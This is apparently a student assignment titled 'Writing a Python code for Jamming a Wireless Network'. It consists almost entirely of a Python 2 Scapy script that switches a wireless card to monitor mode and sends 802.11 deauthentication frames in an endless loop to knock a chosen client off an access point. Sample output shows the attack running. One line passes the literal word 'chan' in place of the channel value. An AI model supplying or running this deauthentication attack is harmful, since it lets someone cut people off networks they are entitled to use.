**ASSIGNMENT NO.- 7**

Name: Pratik Patil

Roll No.: 469

## Topic: Writing a Python code for Jamming a Wireless Network.

## CODE:

## import time

## import os

## import sys

## import signal

## from scapy.all import \*

## conf.verb = 0

## conf.iface = raw\_input("Enter the Interface: ") # Select interface to be used by scapy to send packets

## chan = input("Enter the Channel of Access Point: ") # Channel Selection

## def init():

## # Killing all WIfI Blocking Services

## os.system("airmon-ng check kill")

## # Shifting the interface to monitor mode

## os.system("ifconfig wlan0 down")

## os.system("iwconfig wlan0 mode monitor")

## os.system("ifconfig wlan0 up")

## # setting the wireless interface channel

## os.system("iw dev wlan0 set channel chan")

## print("wlan0 initialized to Monitor Mode")

## def signal\_handler(signal, frame):

## # shifting the interface back to managed mode on exit

## os.system("ifconfig wlan0 down")

## os.system("iwconfig wlan0 mode managed")

## os.system("ifconfig wlan0 up")

## # restarting the network interface

## os.system("service network-manager restart")

## print "Wi-Fi Deauth Tool Stopped Successfully"

## sys.exit(0)

## # Calling a callback on pressing Ctrl+C

## signal.signal(signal.SIGINT, signal\_handler)

## # Starting the program execution

## if \_\_name\_\_ == "\_\_main\_\_":

## init()

## ap\_mac = raw\_input("Enter the MAC Address of Access Point: ")

## # Acess Point MAC Address

## client\_mac = raw\_input("Enter the MAC Adress of Client: ") # Clinet MAC Address

## # Creating a deAuth Frame

## deAuthFrame=RadioTap()/Dot11(addr1=client\_mac,addr2=ap\_mac,addr3=ap\_mac)/Dot11Deauth()

## # Sending a deAuth Frame on network

## while True:

## sendp(deAuthFrame)

## print "Sent DeAuth Frame to ", client\_mac, " from AP ", ap\_mac

## time.sleep(1)

## OUTPUT:

## python wifi\_dos.py

## Enter the Interface: wlan0

## Enter the Channel of Access Point: 1

## wlan0 initialized to Monitor Mode

## Enter the MAC Address of Access Point: 64:A2:F9:D4:A5:3A

## Enter the MAC Adress of Client: 30:07:4D:63:2C:1B

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## Sent DeAuth Frame to 30:07:4D:63:2C:1B from AP 64:A2:F9:D4:A5:3A

## ^CWi-Fi Deauth Tool Stopped Successfully

## '''